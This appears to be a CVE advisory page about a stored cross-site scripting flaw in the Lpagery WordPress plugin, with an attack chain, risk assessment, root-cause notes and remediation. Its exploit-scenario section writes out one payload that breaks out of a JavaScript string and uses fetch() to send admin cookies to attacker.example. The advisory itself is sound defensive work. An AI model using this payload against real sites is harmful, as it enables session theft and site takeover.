Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
ReconObtain Contributor-level WordPress credentials
-
DeliveryCreate post with single-quote XSS payload in title
-
ExploitRecord numeric post ID
-
InstallCraft admin URL with ?lpagery_template=<post_id>
-
C2Lure administrator to visit crafted admin URL
-
Executeadmin_footer hook renders unescaped post_title into JavaScript
-
ImpactPayload executes in admin browser, exfiltrating session tokens
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | The attacker must hold at least Contributor-level authenticated access to the target WordPress site - unauthenticated exploitation is not possible per the PR:L CVSS metric. The Lpagery (Bulk Page Generator) plugin must be installed and active. Payload delivery requires the attacker to create or edit a post and embed a malicious string in the post_title field. Execution of the payload requires a higher-privileged user (Administrator or Editor) to access a WordPress admin page with the ?lpagery_template query parameter set to the attacker's post ID; without this specific admin page visit, the stored payload never fires. Sites with open contributor registration, shared editorial teams, or low account-security hygiene face elevated realistic risk. Limiting factors: payload only fires in the WordPress admin panel context and does not affect front-end visitors; a degree of social engineering or timing is required to ensure the admin visits the crafted URL; the attacker cannot independently trigger execution without relying on victim behavior. |
| Impact | The NVD-assigned CVSS 3.1 score of 6.4 (AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N) contains a notable inconsistency: UI:N implies no user interaction, yet the described attack mechanics require an administrator to access a specific admin URL containing the ?lpagery_template parameter - this is more accurately UI:R, and the effective score is correspondingly lower. Real-world risk is further bounded by the PR:L prerequisite: exploitation requires at minimum Contributor-level credentials, limiting exposure to insider threats, compromised editor accounts, or WordPress sites with open contributor registration. The S:C (Changed Scope) metric is appropriate because a successful exploit executes in the privileged admin browser session, not just the contributor's own context, enabling secondary impact such as full site takeover via session theft. No EPSS data was provided, and no CISA KEV listing or public proof-of-concept has been identified, placing this in the no-confirmed-exploitation category. For multi-tenant WordPress environments or sites permitting open contributor signup, risk should be treated as elevated despite the moderate CVSS score. |
| Exploit ScenarioDerived | A Contributor-level WordPress user creates a post with a title containing a JavaScript breakout payload such as '); fetch('https://attacker.example/steal?c='+document.cookie);//, exploiting the absence of single-quote escaping in the JavaScript string context. The attacker notes the post's numeric ID, then crafts or socially engineers a URL such as /wp-admin/admin.php?page=lpagery&lpagery_template=<post_id> and lures an administrator to visit it - for example, by embedding the link in an internal draft or a support request. When the admin loads the page, the admin_footer hook fires, the unescaped title is injected into the inline script block, and the payload executes in the admin's browser session, transmitting session tokens to the attacker. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Jul 23, 2026
Stored cross-site scripting in the Lpagery (Bulk Page Generator) WordPress plugin, versions up to and including 2.5.7, allows authenticated attackers with Contributor-level access to inject arbitrary JavaScript via crafted post titles. The vulnerability stems from the lpagery_add_filter_text_template_post() function echoing a raw post_title directly into an inline JavaScript single-quoted string literal on every admin page load, with no encoding applied. When an administrator accesses an admin page bearing the ?lpagery_template parameter pointing to the attacker's post, the injected payload executes in the admin's browser context, enabling session hijacking or unauthorized privileged actions. No public exploit code or CISA KEV listing has been identified at time of analysis.
RemediationAI
Update the Lpagery plugin to a version beyond 2.5.7; a code fix is confirmed delivered via WordPress.org plugin repository changeset 3611156 (https://plugins.trac.wordpress.org/changeset?reponame=&old=3611156%40lpagery&new=3611156%40lpagery), which should correspond to a release above 2.5.7 - verify the exact patched version number through the WordPress.org plugin page or the Wordfence advisory at https://www.wordfence.com/threat-intel/vulnerabilities/id/6720e68e-16fc-48c2-ad56-1f44a3e78bb2. Where an immediate update is not feasible, restrict Contributor-role users from creating or editing posts on sites running this plugin, which eliminates the ability to plant the payload at the cost of editorial workflow disruption. As a partial WAF-level control, block admin requests containing the ?lpagery_template parameter from sessions without Administrator-level authentication; this limits exposure but is bypassable and does not address the root encoding defect. Disabling the plugin entirely until patching is complete is the safest interim option with no security trade-offs beyond loss of the plugin's functionality.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
The flaw lives in the lpagery_add_filter_text_template_post() function within lpagery.php (lines 502-513 of the 2.5.7 tagged release, confirmed via WordPress.org Trac references). This function is registered as a WordPress admin_footer action hook, causing it to fire on every admin page load. When the ?lpagery_template GET parameter is present, the function queries the database for the corresponding post_title and interpolates that value directly into an inline JavaScript single-quoted string literal - without applying WordPress-native encoding functions such as esc_js(), esc_html(), or wp_json_encode(). An attacker-controlled title containing a single quote and JavaScript syntax can break out of the string context and inject executable code. The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation - Cross-site Scripting) in its stored/persistent variant, because the payload is persisted in the post_title database field before rendering. The affected product is identified in CPE as cpe:2.3:a:niklaslindemann:bulk_page_generator_-_lpagery:*:*:*:*:*:*:*:*.
Know when Wordpress Plugin gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
PR:L reflects mandatory Contributor authentication; UI:R corrects the NVD vector because an administrator must visit a specifically crafted admin URL to trigger payload execution.
Primary rating from Vendor (Wordfence).
CVSS VectorVendor: Wordfence
DescriptionCVE.org
The Lpagery plugin for WordPress is vulnerable to Stored Cross-Site Scripting via post titles in versions up to, and including, 2.5.7. This is due to insufficient input sanitization and output escaping in the lpagery_add_filter_text_template_post() function, which is hooked to admin_footer and echoes the raw post_title of the post referenced by the ?lpagery_template query parameter directly inside a JavaScript single-quoted string literal, without esc_js(), esc_html(), or any other encoding. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a higher-privileged user (such as an administrator) accesses an admin page with the ?lpagery_template=<post_id> parameter pointing at the attacker's post.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
More in Wordpress Plugin
View allThe Backup Migration plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 1
The Hash Form - Drag & Drop Form Builder plugin for WordPress is vulnerable to arbitrary file uploads due to missing fil
Authentication bypass in the LiteSpeed Cache WordPress plugin (versions prior to 6.5.0.1) allows unauthenticated remote
The Simple File List plugin for WordPress through version 4.2.2 contains an unauthenticated remote code execution vulner
The AI Engine WordPress plugin through version 3.1.3 exposes Bearer Token values through the /mcp/v1/ REST API endpoint
The SureTriggers WordPress plugin through version 1.0.82 contains a privilege escalation vulnerability that allows unaut
The Ninja Forms plugin before 2.9.42.1 for WordPress allows remote attackers to conduct PHP object injection attacks via
The Business Directory Plugin - Easy Listing Directories for WordPress plugin for WordPress is vulnerable to time-based
SQL injection in the NotificationX WordPress plugin (versions up to and including 2.8.2) allows unauthenticated remote a
The POST SMTP Mailer - Email log, Delivery Failure Notifications and Best Mail SMTP for WordPress plugin for WordPress i
The MasterStudy LMS WordPress Plugin - for Online Courses and Education plugin for WordPress is vulnerable to union base
The Email Subscribers by Icegram Express plugin for WordPress is vulnerable to SQL Injection via the ‘hash’ parameter in
EUVD-2026-47927
GHSA-8w85-6hx8-qc3f
NVD
CVE.org
EPSS
Vulnrichment
Exploit-DB